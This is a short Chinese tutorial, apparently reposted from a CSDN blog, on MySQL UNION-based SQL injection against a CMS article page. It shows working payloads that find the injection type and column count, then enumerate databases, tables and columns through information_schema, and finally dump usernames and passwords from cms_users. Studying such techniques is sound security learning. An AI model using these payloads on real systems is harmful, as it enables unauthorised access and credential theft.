MySQL之联合注入

1.判断注入类型

通过单引号,双引号依次尝试,发现单引号会引发报错,而双引号不会报错,所以是使用单引号的字符串类型

结论:

字符型注入中,哪个符号引发的报错,就代表是哪个符号的字符型注入

2.order by推算字段数

为什么要推算字段数呢?

因为知道了字段数,就能利用联合注入的特性进行sql注入获取更多的信息。

那么如何推算字段数呢?

利用order by的特性----他可以指定列的顺序来进行排序,所以可以在order by后面直接加数字,表示按照第几列排序,一旦数字超过了列数,就会报错,从而可以推算出字段数

3.查数据库

核心原理:联合查询,database()函数

联合查询的两个条件:

  1. 两个查询语句的查询字段数是一样的,否则会报错
  2. 两个查询语句的查询字段类型必须是一致的

例如:通过union进行联合注入,使用database()函数获得数据库表

select * from cms_article where id = 32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15;

比如,这里获得的数据库表名是cms

4.查数据库表

核心原理:联合查询,database(),GROUP_CONCAT(),hex()函数,information_schema数据库

select * from cms_article where id = 32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,hex(GROUP_CONCAT(table_name)),12,13,14,15 from information_schema.tables where table_schema = database();

通过information_schema库的tables表中查询对应数据库名的数据表名,并且使用GROUP_CONCAT()函数将所有的表名打印出来,然后转换为hex,将结果进行解码即可获得表名

5.查表的字段名

核心原理:联合查询,GROUP_CONCAT(),hex()函数,information_schema数据库

select * from cms_article where id = -33 union select 1,2,hex(GROUP_CONCAT(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.COLUMNS where table_name = "cms_users";

通过information_schema库的COLUMNS,查询表字段table_name,值为cms_users的字段信息,并且使用GROUP_CONCAT()函数将所有的字段名打印出来,然后转换为hex,将结果进行解码即可获得字段名

6.查数据

核心原理:联合查询,CONCAT(),hex()函数,information_schema数据库

select * from cms_article where id = 32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,hex(CONCAT(username,'--',password)),12,13,14,15 from cms.cms_users;

由于知道了要查询的数据库,表名与字段名,然后借助CONCAT()函数可以将想要查询的字段数据拼接成字符串,然后将其输出

猜你喜欢

转载自blog.csdn.net/weixin_46367450/article/details/132460915
今日推荐